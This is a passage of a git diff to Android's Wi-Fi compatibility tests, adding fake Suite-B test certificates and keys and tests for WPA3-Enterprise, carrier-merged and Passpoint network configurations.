+                    + "DWcdw6LrMAoGCCqGSM49BAMDA2cAMGQCMH4aP73HrriRUJRguiuRic+X4Cqj/7YQ\n"
+                    + "ueJmP87KF92/thhoQ9OrRo8uJITPmNDswwIwP2Q1AZCSL4BI9dYrqu07Ar+pSkXE\n"
+                    + "R7oOqGdZR+d/MvXcFSrbIaLKEoHXmQamIHLe\n"
+                    + "-----END CERTIFICATE-----\n";
+    public static final X509Certificate CLIENT_SUITE_B_ECDSA_CERT =
+            loadCertificate(CLIENT_SUITE_B_ECDSA_CERT_STRING);
+
+    private static final byte[] CLIENT_SUITE_B_ECC_KEY_DATA = new byte[]{
+            (byte) 0x30, (byte) 0x81, (byte) 0xb6, (byte) 0x02, (byte) 0x01, (byte) 0x00,
+            (byte) 0x30, (byte) 0x10, (byte) 0x06, (byte) 0x07, (byte) 0x2a, (byte) 0x86,
+            (byte) 0x48, (byte) 0xce, (byte) 0x3d, (byte) 0x02, (byte) 0x01, (byte) 0x06,
+            (byte) 0x05, (byte) 0x2b, (byte) 0x81, (byte) 0x04, (byte) 0x00, (byte) 0x22,
+            (byte) 0x04, (byte) 0x81, (byte) 0x9e, (byte) 0x30, (byte) 0x81, (byte) 0x9b,
+            (byte) 0x02, (byte) 0x01, (byte) 0x01, (byte) 0x04, (byte) 0x30, (byte) 0xea,
+            (byte) 0x6c, (byte) 0x4b, (byte) 0x6d, (byte) 0x43, (byte) 0xf9, (byte) 0x6c,
+            (byte) 0x91, (byte) 0xdc, (byte) 0x2d, (byte) 0x6e, (byte) 0x87, (byte) 0x4f,
+            (byte) 0x0a, (byte) 0x0b, (byte) 0x97, (byte) 0x25, (byte) 0x1c, (byte) 0x79,
+            (byte) 0xa2, (byte) 0x07, (byte) 0xdc, (byte) 0x94, (byte) 0xc2, (byte) 0xee,
+            (byte) 0x64, (byte) 0x51, (byte) 0x6d, (byte) 0x4e, (byte) 0x35, (byte) 0x1c,
+            (byte) 0x22, (byte) 0x2f, (byte) 0xc0, (byte) 0xea, (byte) 0x09, (byte) 0x47,
+            (byte) 0x3e, (byte) 0xb9, (byte) 0xb6, (byte) 0xb8, (byte) 0x83, (byte) 0x9e,
+            (byte) 0xed, (byte) 0x59, (byte) 0xe5, (byte) 0xe7, (byte) 0x0f, (byte) 0xa1,
+            (byte) 0x64, (byte) 0x03, (byte) 0x62, (byte) 0x00, (byte) 0x04, (byte) 0x87,
+            (byte) 0x18, (byte) 0x55, (byte) 0x27, (byte) 0xb7, (byte) 0x5c, (byte) 0x4a,
+            (byte) 0xaa, (byte) 0xed, (byte) 0xa3, (byte) 0x45, (byte) 0xfe, (byte) 0x76,
+            (byte) 0x04, (byte) 0x71, (byte) 0xb5, (byte) 0xdf, (byte) 0x01, (byte) 0x58,
+            (byte) 0x6f, (byte) 0x1c, (byte) 0x5a, (byte) 0x63, (byte) 0xe3, (byte) 0x06,
+            (byte) 0x38, (byte) 0xb7, (byte) 0x30, (byte) 0x8c, (byte) 0x43, (byte) 0x2d,
+            (byte) 0xfa, (byte) 0x5c, (byte) 0x30, (byte) 0x3a, (byte) 0x08, (byte) 0x07,
+            (byte) 0xce, (byte) 0x1a, (byte) 0x7b, (byte) 0x51, (byte) 0x30, (byte) 0x80,
+            (byte) 0x99, (byte) 0xf8, (byte) 0x61, (byte) 0x46, (byte) 0x07, (byte) 0xad,
+            (byte) 0x6b, (byte) 0x14, (byte) 0x0e, (byte) 0x25, (byte) 0x4d, (byte) 0x8a,
+            (byte) 0x1b, (byte) 0xfc, (byte) 0x8f, (byte) 0xb6, (byte) 0xbf, (byte) 0x3a,
+            (byte) 0x5d, (byte) 0x6a, (byte) 0x70, (byte) 0x86, (byte) 0x36, (byte) 0xc9,
+            (byte) 0xb1, (byte) 0xfb, (byte) 0xb5, (byte) 0xb7, (byte) 0xb3, (byte) 0x79,
+            (byte) 0xf2, (byte) 0xe6, (byte) 0x6a, (byte) 0x0a, (byte) 0x80, (byte) 0xe2,
+            (byte) 0xf5, (byte) 0xc4, (byte) 0x51, (byte) 0x76, (byte) 0x57, (byte) 0xa1,
+            (byte) 0x4c, (byte) 0x8b, (byte) 0xe1, (byte) 0x93, (byte) 0x42, (byte) 0x0d,
+            (byte) 0x67, (byte) 0x1d, (byte) 0xc3, (byte) 0xa2, (byte) 0xeb
+    };
+    public static final PrivateKey CLIENT_SUITE_B_ECC_KEY =
+            loadPrivateKey("EC", CLIENT_SUITE_B_ECC_KEY_DATA);
+
+    private static X509Certificate loadCertificate(String blob) {
+        try {
+            final CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
+            InputStream stream = new ByteArrayInputStream(blob.getBytes(StandardCharsets.UTF_8));
+
+            return (X509Certificate) certFactory.generateCertificate(stream);
+        } catch (Exception e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+    private static PrivateKey loadPrivateKey(String algorithm, byte[] fakeKey) {
+        try {
+            KeyFactory kf = KeyFactory.getInstance(algorithm);
+            return kf.generatePrivate(new PKCS8EncodedKeySpec(fakeKey));
+        } catch (InvalidKeySpecException | NoSuchAlgorithmException e) {
+            return null;
+        }
+    }
+
     private WifiNetworkSuggestion.Builder createBuilderWithCommonParams() {
         return createBuilderWithCommonParams(false);
     }
@@ -69,7 +540,7 @@
             builder.setIsEnhancedOpen(false);
             builder.setIsHiddenSsid(true);
         }
-        builder.setPriority(0);
+        builder.setPriority(TEST_PRIORITY);
         builder.setIsAppInteractionRequired(true);
         builder.setIsUserInteractionRequired(true);
         builder.setIsMetered(true);
@@ -77,6 +548,12 @@
         builder.setCredentialSharedWithUser(true);
         builder.setIsInitialAutojoinEnabled(true);
         builder.setUntrusted(false);
+        if (BuildCompat.isAtLeastS()) {
+            builder.setOemPaid(false);
+            builder.setOemPrivate(false);
+            builder.setSubscriptionId(TEST_SUB_ID);
+            builder.setPriorityGroup(TEST_PRIORITY_GROUP);
+        }
         return builder;
     }
 
@@ -93,13 +570,19 @@
             assertFalse(suggestion.isEnhancedOpen());
             assertTrue(suggestion.isHiddenSsid());
         }
-        assertEquals(0, suggestion.getPriority());
+        assertEquals(TEST_PRIORITY, suggestion.getPriority());
         assertTrue(suggestion.isAppInteractionRequired());
         assertTrue(suggestion.isUserInteractionRequired());
         assertTrue(suggestion.isMetered());
         assertTrue(suggestion.isCredentialSharedWithUser());
         assertTrue(suggestion.isInitialAutojoinEnabled());
         assertFalse(suggestion.isUntrusted());
+        if (BuildCompat.isAtLeastS()) {
+            assertFalse(suggestion.isOemPaid());
+            assertFalse(suggestion.isOemPrivate());
+            assertEquals(TEST_PRIORITY_GROUP, suggestion.getPriorityGroup());
+            assertEquals(TEST_SUB_ID, suggestion.getSubscriptionId());
+        }
     }
 
     /**
@@ -116,6 +599,7 @@
                 .build();
         validateCommonParams(suggestion);
         assertEquals(TEST_PASSPHRASE, suggestion.getPassphrase());
+        assertNull(suggestion.getEnterpriseConfig());
         assertNull(suggestion.getPasspointConfig());
     }
 
@@ -133,6 +617,7 @@
                         .build();
         validateCommonParams(suggestion);
         assertEquals(TEST_PASSPHRASE, suggestion.getPassphrase());
+        assertNull(suggestion.getEnterpriseConfig());
         assertNull(suggestion.getPasspointConfig());
     }
 
@@ -150,6 +635,7 @@
                         .build();
         validateCommonParams(suggestion);
         assertEquals(TEST_PASSPHRASE, suggestion.getPassphrase());
+        assertNull(suggestion.getEnterpriseConfig());
         assertNull(suggestion.getPasspointConfig());
     }
 
@@ -204,6 +690,131 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    public void testBuilderWithWpa3EnterpriseWithStandardApi() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        WifiEnterpriseConfig enterpriseConfig = createEnterpriseConfig();
+        WifiNetworkSuggestion suggestion =
+                createBuilderWithCommonParams()
+                        .setWpa3EnterpriseStandardModeConfig(enterpriseConfig)
+                        .build();
+        validateCommonParams(suggestion);
+        assertNull(suggestion.getPassphrase());
+        assertNotNull(suggestion.getEnterpriseConfig());
+        assertEquals(enterpriseConfig.getEapMethod(),
+                suggestion.getEnterpriseConfig().getEapMethod());
+        assertNull(suggestion.getPasspointConfig());
+    }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
+     */
+    public void testBuilderWithWpa3EnterpriseWithSuiteBRsaCerts() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
+        enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
+        enterpriseConfig.setCaCertificate(CA_SUITE_B_RSA3072_CERT);
+        enterpriseConfig.setClientKeyEntryWithCertificateChain(CLIENT_SUITE_B_RSA3072_KEY,
+                new X509Certificate[] {CLIENT_SUITE_B_RSA3072_CERT});
+        enterpriseConfig.setAltSubjectMatch("domain.com");
+        WifiNetworkSuggestion suggestion =
+                createBuilderWithCommonParams()
+                        .setWpa3EnterpriseConfig(enterpriseConfig)
+                        .build();
+        validateCommonParams(suggestion);
+        assertNull(suggestion.getPassphrase());
+        assertNotNull(suggestion.getEnterpriseConfig());
+        assertEquals(enterpriseConfig.getEapMethod(),
+                suggestion.getEnterpriseConfig().getEapMethod());
+        assertNull(suggestion.getPasspointConfig());
+    }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
+     */
+    public void testBuilderWithWpa3EnterpriseWithSuiteBEccCerts() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
+        enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
+        enterpriseConfig.setCaCertificate(CA_SUITE_B_ECDSA_CERT);
+        enterpriseConfig.setClientKeyEntryWithCertificateChain(CLIENT_SUITE_B_ECC_KEY,
+                new X509Certificate[] {CLIENT_SUITE_B_ECDSA_CERT});
+        enterpriseConfig.setAltSubjectMatch("domain.com");
+        WifiNetworkSuggestion suggestion =
+                createBuilderWithCommonParams()
+                        .setWpa3EnterpriseConfig(enterpriseConfig)
+                        .build();
+        validateCommonParams(suggestion);
+        assertNull(suggestion.getPassphrase());
+        assertNotNull(suggestion.getEnterpriseConfig());
+        assertEquals(enterpriseConfig.getEapMethod(),
+                suggestion.getEnterpriseConfig().getEapMethod());
+        assertNull(suggestion.getPasspointConfig());
+    }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
+     */
+    public void testBuilderWithWpa3Enterprise192bitWithSuiteBRsaCerts() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
+        enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
+        enterpriseConfig.setCaCertificate(CA_SUITE_B_RSA3072_CERT);
+        enterpriseConfig.setClientKeyEntryWithCertificateChain(CLIENT_SUITE_B_RSA3072_KEY,
+                new X509Certificate[] {CLIENT_SUITE_B_RSA3072_CERT});
+        enterpriseConfig.setAltSubjectMatch("domain.com");
+        WifiNetworkSuggestion suggestion =
+                createBuilderWithCommonParams()
+                        .setWpa3EnterpriseConfig(enterpriseConfig)
+                        .build();
+        validateCommonParams(suggestion);
+        assertNull(suggestion.getPassphrase());
+        assertNotNull(suggestion.getEnterpriseConfig());
+        assertEquals(enterpriseConfig.getEapMethod(),
+                suggestion.getEnterpriseConfig().getEapMethod());
+        assertNull(suggestion.getPasspointConfig());
+    }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
+     */
+    public void testBuilderWithWpa3Enterprise192bitWithSuiteBEccCerts() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
+        enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
+        enterpriseConfig.setCaCertificate(CA_SUITE_B_ECDSA_CERT);
+        enterpriseConfig.setClientKeyEntryWithCertificateChain(CLIENT_SUITE_B_ECC_KEY,
+                new X509Certificate[] {CLIENT_SUITE_B_ECDSA_CERT});
+        enterpriseConfig.setAltSubjectMatch("domain.com");
+        WifiNetworkSuggestion suggestion =
+                createBuilderWithCommonParams()
+                        .setWpa3Enterprise192BitModeConfig(enterpriseConfig)
+                        .build();
+        validateCommonParams(suggestion);
+        assertNull(suggestion.getPassphrase());
+        assertNotNull(suggestion.getEnterpriseConfig());
+        assertEquals(enterpriseConfig.getEapMethod(),
+                suggestion.getEnterpriseConfig().getEapMethod());
+        assertNull(suggestion.getPasspointConfig());
+    }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
+     */
     public void testBuilderWithWapiEnterprise() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
@@ -264,6 +875,77 @@
                         .build();
         validateCommonParams(suggestion, true);
         assertNull(suggestion.getPassphrase());
+        assertNull(suggestion.getEnterpriseConfig());
         assertEquals(passpointConfig, suggestion.getPasspointConfig());
     }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
+     */
+    public void testBuilderWithCarrierMergedNetwork() throws Exception {
+        if (!(WifiFeature.isWifiSupported(getContext()) && BuildCompat.isAtLeastS())) {
+            return;
+        }
+        WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
+        enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
+        enterpriseConfig.setCaCertificate(CA_SUITE_B_ECDSA_CERT);
+        enterpriseConfig.setClientKeyEntryWithCertificateChain(CLIENT_SUITE_B_ECC_KEY,
+                new X509Certificate[] {CLIENT_SUITE_B_ECDSA_CERT});
+        enterpriseConfig.setAltSubjectMatch("domain.com");
+        WifiNetworkSuggestion suggestion =
+                createBuilderWithCommonParams()
+                        .setWpa3Enterprise192BitModeConfig(enterpriseConfig)
+                        .setCarrierMerged(true)
+                        .build();
+        validateCommonParams(suggestion);
+        assertTrue(suggestion.isCarrierMerged());
+    }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class with non enterprise
+     * network will fail.
+     */
+    public void testBuilderWithCarrierMergedNetworkWithNonEnterpriseNetwork() throws Exception {
+        if (!(WifiFeature.isWifiSupported(getContext()) && BuildCompat.isAtLeastS())) {
+            return;
+        }
+
+        try {
+            createBuilderWithCommonParams()
+                    .setWpa2Passphrase(TEST_PASSPHRASE)
+                    .setCarrierMerged(true)
+                    .build();
+        } catch (IllegalStateException e) {
+            return;
+        }
+        fail("Did not receive expected IllegalStateException when tried to build a carrier merged "
+                + "network suggestion with non enterprise config");
+    }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class with unmetered network
+     * will fail.
+     */
+    public void testBuilderWithCarrierMergedNetworkWithUnmeteredNetwork() throws Exception {
+        if (!(WifiFeature.isWifiSupported(getContext()) && BuildCompat.isAtLeastS())) {
+            return;
+        }
+        WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
+        enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
+        enterpriseConfig.setCaCertificate(CA_SUITE_B_ECDSA_CERT);
+        enterpriseConfig.setClientKeyEntryWithCertificateChain(CLIENT_SUITE_B_ECC_KEY,
+                new X509Certificate[] {CLIENT_SUITE_B_ECDSA_CERT});
+        enterpriseConfig.setAltSubjectMatch("domain.com");
+        try {
+            createBuilderWithCommonParams()
+                    .setWpa3Enterprise192BitModeConfig(enterpriseConfig)
+                    .setCarrierMerged(true)
+                    .setIsMetered(false)
+                    .build();
+        } catch (IllegalStateException e) {
+            return;
+        }
+        fail("Did not receive expected IllegalStateException when tried to build a carrier merged "
+                + "network suggestion with unmetered config");
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/passpoint/cts/HomeSpTest.java b/tests/tests/wifi/src/android/net/wifi/passpoint/cts/HomeSpTest.java
new file mode 100644
index 0000000..6809bc8
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/passpoint/cts/HomeSpTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.passpoint.cts;
+
+import android.net.wifi.cts.WifiJUnit3TestBase;
+import android.net.wifi.hotspot2.pps.HomeSp;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.SmallTest;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+@SmallTest
+public class HomeSpTest extends WifiJUnit3TestBase {
+    /**
+     * Verify that the anyOis set and get APIs work as expected
+     */
+    public void testAnyOis() throws Exception {
+        HomeSp homeSp = new HomeSp();
+        assertNull(homeSp.getMatchAnyOis());
+        final long[] ois = new long[]{0x1000, 0x2000};
+        homeSp.setMatchAnyOis(ois);
+        final long[] profileOis = homeSp.getMatchAnyOis();
+        assertTrue(Arrays.equals(ois, profileOis));
+    }
+
+    /**
+     * Verify that the allOis set and get APIs work as expected
+     */
+    public void testAllOis() throws Exception {
+        HomeSp homeSp = new HomeSp();
+        assertNull(homeSp.getMatchAllOis());
+        final long[] ois = new long[]{0x1000, 0x2000};
+        homeSp.setMatchAllOis(ois);
+        final long[] profileOis = homeSp.getMatchAllOis();
+        assertTrue(Arrays.equals(ois, profileOis));
+    }
+
+    /**
+     * Verify that the OtherHomePartners set and get APIs work as expected
+     */
+    public void testOtherHomePartners() throws Exception {
+        HomeSp homeSp = new HomeSp();
+        final Collection<String> homePartners = Arrays.asList("other-provider1", "other-provider2");
+        homeSp.setOtherHomePartnersList(homePartners);
+        final Collection<String> profileHomePartners = homeSp.getOtherHomePartnersList();
+        assertTrue(homePartners.equals(profileHomePartners));
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/wifi/src/android/net/wifi/passpoint/cts/PasspointConfigurationTest.java b/tests/tests/wifi/src/android/net/wifi/passpoint/cts/PasspointConfigurationTest.java
new file mode 100644
index 0000000..e7d4fd9
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/passpoint/cts/PasspointConfigurationTest.java
@@ -0,0 +1,290 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.passpoint.cts;
+
+import static org.junit.Assert.assertNotEquals;
+
+import android.net.wifi.cts.FakeKeys;
+import android.net.wifi.cts.WifiJUnit3TestBase;
+import android.net.wifi.hotspot2.PasspointConfiguration;
+import android.net.wifi.hotspot2.pps.Credential;
+import android.net.wifi.hotspot2.pps.HomeSp;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.SmallTest;
+
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.cert.CertificateEncodingException;
+import java.security.cert.X509Certificate;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+@SmallTest
+public class PasspointConfigurationTest extends WifiJUnit3TestBase {
+    private static final int CERTIFICATE_FINGERPRINT_BYTES = 32;
+    public static final int EAP_SIM = 18;
+    public static final int EAP_TTLS = 21;
+
+    /**
+     * Verify that the unique identifier generated is identical for two instances
+     */
+    public void testEqualUniqueId() throws Exception {
+        PasspointConfiguration config1 = createConfig();
+        PasspointConfiguration config2 = createConfig();
+
+        assertEquals(config1.getUniqueId(), config2.getUniqueId());
+    }
+
+    /**
+     * Verify that the unique identifier generated is the same for two instances with different
+     * HomeSp node but same FQDN
+     */
+    public void testUniqueIdSameHomeSpSameFqdn() throws Exception {
+        PasspointConfiguration config1 = createConfig();
+        HomeSp homeSp = config1.getHomeSp();
+        homeSp.setMatchAnyOis(new long[]{0x1000, 0x2000});
+
+        // Modify config2's RCOIs and friendly name to a different set of values
+        PasspointConfiguration config2 = createConfig();
+        homeSp = config2.getHomeSp();
+
+        homeSp.setRoamingConsortiumOis(new long[]{0xaa, 0xbb});
+        homeSp.setFriendlyName("Some other name");
+        homeSp.setOtherHomePartnersList(Arrays.asList("other-provider1", "other-provider2"));
+        homeSp.setMatchAllOis(new long[]{0x1000, 0x2000});
+        config2.setHomeSp(homeSp);
+
+        assertEquals(config1.getUniqueId(), config2.getUniqueId());
+    }
+
+    /**
+     * Verify that the unique identifier generated is different for two instances with the same
+     * HomeSp node but different FQDN
+     */
+    public void testUniqueIdDifferentHomeSpDifferentFqdn() throws Exception {
+        PasspointConfiguration config1 = createConfig();
+
+        // Modify config2's FQDN to a different value
+        PasspointConfiguration config2 = createConfig();
+        HomeSp homeSp = config2.getHomeSp();
+        homeSp.setFqdn("fqdn2.com");
+        config2.setHomeSp(homeSp);
+
+        assertNotEquals(config1.getUniqueId(), config2.getUniqueId());
+    }
+
+    /**
+     * Verify that the unique identifier generated is different for two instances with different
+     * SIM Credential node
+     */
+    public void testUniqueIdDifferentSimCredential() throws Exception {
+        PasspointConfiguration config1 = createConfig();
+
+        // Modify config2's realm and SIM credential to a different set of values
+        PasspointConfiguration config2 = createConfig();
+        Credential credential = config2.getCredential();
+        credential.setRealm("realm2.example.com");
+        credential.getSimCredential().setImsi("350460*");
+        config2.setCredential(credential);
+
+        assertNotEquals(config1.getUniqueId(), config2.getUniqueId());
+    }
+
+    /**
+     * Verify that the unique identifier generated is different for two instances with different
+     * Realm in the Credential node
+     */
+    public void testUniqueIdDifferentRealm() throws Exception {
+        PasspointConfiguration config1 = createConfig();
+
+        // Modify config2's realm to a different set of values
+        PasspointConfiguration config2 = createConfig();
+        Credential credential = config2.getCredential();
+        credential.setRealm("realm2.example.com");
+        config2.setCredential(credential);
+
+        assertNotEquals(config1.getUniqueId(), config2.getUniqueId());
+    }
+
+    /**
+     * Verify that the unique identifier generated is the same for two instances with different
+     * password and same username in the User Credential node
+     */
+    public void testUniqueIdSameUserInUserCredential() throws Exception {
+        PasspointConfiguration config1 = createConfig();
+        Credential credential = createCredentialWithUserCredential("user", "passwd");
+        config1.setCredential(credential);
+
+        // Modify config2's Passpowrd to a different set of values
+        PasspointConfiguration config2 = createConfig();
+        credential = createCredentialWithUserCredential("user", "newpasswd");
+        config2.setCredential(credential);
+
+        assertEquals(config1.getUniqueId(), config2.getUniqueId());
+    }
+
+    /**
+     * Verify that the unique identifier generated is different for two instances with different
+     * username in the User Credential node
+     */
+    public void testUniqueIdDifferentUserCredential() throws Exception {
+        PasspointConfiguration config1 = createConfig();
+        Credential credential = createCredentialWithUserCredential("user", "passwd");
+        config1.setCredential(credential);
+
+        // Modify config2's username to a different value
+        PasspointConfiguration config2 = createConfig();
+        credential = createCredentialWithUserCredential("user2", "passwd");
+        config2.setCredential(credential);
+
+        assertNotEquals(config1.getUniqueId(), config2.getUniqueId());
+    }
+
+    /**
+     * Verify that the unique identifier generated is different for two instances with different
+     * Cert Credential node
+     */
+    public void testUniqueIdDifferentCertCredential() throws Exception {
+        PasspointConfiguration config1 = createConfig();
+        Credential credential = createCredentialWithCertificateCredential(true, true);
+        config1.setCredential(credential);
+
+        // Modify config2's cert credential to a different set of values
+        PasspointConfiguration config2 = createConfig();
+        credential = createCredentialWithCertificateCredential(false, false);
+        config2.setCredential(credential);
+
+        assertNotEquals(config1.getUniqueId(), config2.getUniqueId());
+    }
+
+    /**
+     * Helper function for generating user credential for testing.
+     *
+     * @return {@link Credential}
+     */
+    private static Credential createCredentialWithUserCredential(String username, String password) {
+        Credential.UserCredential userCred = new Credential.UserCredential();
+        userCred.setUsername(username);
+        userCred.setPassword(password);
+        userCred.setEapType(EAP_TTLS);
+        userCred.setNonEapInnerMethod("MS-CHAP");
+        return createCredential(userCred, null, null, null, null, FakeKeys.CA_CERT0);
+    }
+
+    /**
+     * Helper function for generating Credential for testing.
+     *
+     * @param userCred               Instance of UserCredential
+     * @param certCred               Instance of CertificateCredential
+     * @param simCred                Instance of SimCredential
+     * @param clientCertificateChain Chain of client certificates
+     * @param clientPrivateKey       Client private key
+     * @param caCerts                CA certificates
+     * @return {@link Credential}
+     */
+    private static Credential createCredential(Credential.UserCredential userCred,
+            Credential.CertificateCredential certCred,
+            Credential.SimCredential simCred,
+            X509Certificate[] clientCertificateChain, PrivateKey clientPrivateKey,
+            X509Certificate... caCerts) {
+        Credential cred = new Credential();
+        cred.setRealm("realm");
+        cred.setUserCredential(userCred);
+        cred.setCertCredential(certCred);
+        cred.setSimCredential(simCred);
+        cred.setCaCertificate(caCerts[0]);
+        cred.setClientCertificateChain(clientCertificateChain);
+        cred.setClientPrivateKey(clientPrivateKey);
+        return cred;
+    }
+
+    /**
+     * Helper function for generating certificate credential for testing.
+     *
+     * @return {@link Credential}
+     */
+    private static Credential createCredentialWithCertificateCredential(Boolean useCaCert0,
+            Boolean useCert0)
+            throws NoSuchAlgorithmException, CertificateEncodingException {
+        Credential.CertificateCredential certCred = new Credential.CertificateCredential();
+        certCred.setCertType("x509v3");
+        if (useCert0) {
+            certCred.setCertSha256Fingerprint(
+                    MessageDigest.getInstance("SHA-256").digest(FakeKeys.CLIENT_CERT.getEncoded()));
+        } else {
+            certCred.setCertSha256Fingerprint(MessageDigest.getInstance("SHA-256")
+                    .digest(FakeKeys.CLIENT_SUITE_B_RSA3072_CERT.getEncoded()));
+        }
+        return createCredential(null, certCred, null, new X509Certificate[]{FakeKeys.CLIENT_CERT},
+                FakeKeys.RSA_KEY1, useCaCert0 ? FakeKeys.CA_CERT0 : FakeKeys.CA_CERT1);
+    }
+
+    /**
+     * Helper function for creating a {@link PasspointConfiguration} for testing.
+     *
+     * @return {@link PasspointConfiguration}
+     */
+    private static PasspointConfiguration createConfig() {
+        PasspointConfiguration config = new PasspointConfiguration();
+        config.setHomeSp(createHomeSp());
+        config.setCredential(createCredential());
+        Map<String, byte[]> trustRootCertList = new HashMap<>();
+        trustRootCertList.put("trustRoot.cert1.com",
+                new byte[CERTIFICATE_FINGERPRINT_BYTES]);
+        trustRootCertList.put("trustRoot.cert2.com",
+                new byte[CERTIFICATE_FINGERPRINT_BYTES]);
+        return config;
+    }
+
+    /**
+     * Utility function for creating a {@link android.net.wifi.hotspot2.pps.HomeSp} for testing.
+     *
+     * @return {@link android.net.wifi.hotspot2.pps.HomeSp}
+     */
+    private static HomeSp createHomeSp() {
+        HomeSp homeSp = new HomeSp();
+        homeSp.setFqdn("fqdn");
+        homeSp.setFriendlyName("friendly name");
+        homeSp.setRoamingConsortiumOis(new long[]{0x55, 0x66});
+        return homeSp;
+    }
+
+    /**
+     * Utility function for creating a {@link android.net.wifi.hotspot2.pps.Credential} for
+     * testing..
+     *
+     * @return {@link android.net.wifi.hotspot2.pps.Credential}
+     */
+    private static Credential createCredential() {
+        Credential cred = new Credential();
+        cred.setRealm("realm");
+        cred.setUserCredential(null);
+        cred.setCertCredential(null);
+        cred.setSimCredential(new Credential.SimCredential());
+        cred.getSimCredential().setImsi("1234*");
+        cred.getSimCredential().setEapType(EAP_SIM);
+        cred.setCaCertificate(null);
+        cred.setClientCertificateChain(null);
+        cred.setClientPrivateKey(null);
+        return cred;
+    }
+}
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
index be8f4e9..5a3730a 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
@@ -31,7 +31,6 @@
 import android.os.Handler;
 import android.os.HandlerExecutor;
 import android.os.HandlerThread;
-import android.test.AndroidTestCase;
 
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -56,6 +55,12 @@
     // wait for network selection and connection finish
     private static final int WAIT_FOR_CONNECTION_FINISH_MS = 30_000;
 
+    // Interval between failure scans
+    private static final int INTERVAL_BETWEEN_FAILURE_SCAN_MILLIS = 5_000;
+
+    // 5GHz Frequency band
+    private static final int FREQUENCY_OF_5GHZ_BAND_IN_MHZ = 5_000;
+
     protected WifiRttManager mWifiRttManager;
     protected WifiManager mWifiManager;
     private LocationManager mLocationManager;
@@ -230,7 +235,7 @@
      *
      * @param numScanRetries Maximum number of scans retries (in addition to first scan).
      */
-    protected ScanResult scanForTestAp(int numScanRetries)
+    protected ScanResult scanForTest11mcCapableAp(int numScanRetries)
             throws InterruptedException {
         int scanCount = 0;
         ScanResult bestTestAp = null;
@@ -243,10 +248,45 @@
                     bestTestAp = scanResult;
                 }
             }
-
+            if (bestTestAp == null) {
+                // Ongoing connection may cause scan failure, wait for a while before next scan.
